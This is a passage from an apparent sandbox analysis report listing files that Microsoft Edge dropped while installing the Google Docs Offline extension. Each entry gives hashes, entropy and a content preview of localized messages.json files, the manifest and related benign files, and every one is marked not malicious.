Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
